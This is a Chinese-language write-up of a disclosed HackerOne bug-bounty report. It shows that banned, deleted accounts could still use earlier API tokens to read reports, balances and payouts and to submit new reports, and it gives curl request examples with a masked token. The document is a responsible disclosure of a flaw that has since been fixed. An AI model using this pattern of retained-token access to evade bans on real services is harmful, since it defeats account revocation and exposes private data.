本文详细披露了HackerOne平台存在的一个严重安全漏洞:即使用户账户被永久封禁且删除,攻击者仍可通过之前生成的API密钥继续访问账户数据、提交报告并获取敏感信息,涉及多个API端点的不当访问控制问题。
HackerOne报告 #1577940 - 被禁用户仍可通过API密钥访问已删除账户
摘要
当用户账户被永久封禁后,该用户将无法提交报告,且在无待处理付款时账户会被删除。用户无法登录或查看个人资料。但通过使用封禁前生成的API令牌,用户仍能:
- 获取报告
- 获取余额
- 获取收益
- 获取付款
- 获取弱点信息
- 获取程序信息
用户基本上可以执行HackerOne API参考文档中列出的所有操作。
复现步骤
- 创建新账户
- 永久封禁该账户(等待批准后分享被封禁账户的API令牌)
假设:
- 用户名:mrtst
- API令牌:XXXXXXXXXXXXXXXXXXXX=
利用方法
获取报告(包括单个报告)
1
|
curl "https://api.hackerone.com/v1/hackers/me/reports" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
获取余额
1
|
curl "https://api.hackerone.com/v1/hackers/payments/balance" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
获取收益
1
|
curl "https://api.hackerone.com/v1/hackers/payments/earnings" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
获取付款
1
|
curl "https://api.hackerone.com/v1/hackers/payments/payouts" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
获取弱点信息
1
|
curl "https://api.hackerone.com/v1/hackers/programs/{handle}/weaknesses" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
获取程序信息
1
|
curl "https://api.hackerone.com/v1/hackers/programs" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'
|
影响
被封禁用户可以完全访问其已删除的账户。
额外发现
用户即使被封禁,仍可通过API端点提交新报告:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
curl "https://api.hackerone.com/v1/hackers/reports" \
-X POST \
-u "<YOUR_API_USERNAME>:<YOUR_API_TOKEN>" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d @- <<EOD
{
"data": {
"type": "report",
"attributes": {
"team_handle": "string",
"title": "string",
"vulnerability_information": "string",
"impact": "string",
"severity_rating": "none",
"weakness_id": 0,
"structured_scope_id": 0
}
}
}
EOD
|
此外,GraphQL端点(https://hackerone.com/graphql)也存在相同漏洞,即使用户已不存在,仍能获取所有个人资料信息。
处理过程
- 2022年5月22日:漏洞提交
- 2022年5月25日:漏洞验证,严重性从中等调整为5.0
- 2022年6月2日:漏洞确认并发放奖金
- 2022年8月3日:修复测试完成
- 2022年8月4日:漏洞修复并关闭报告
- 2025年7月14日:报告公开披露
漏洞分类
- 弱点类型:不当访问控制 - 通用
- 严重性:中等(5.0)
- CVE ID:无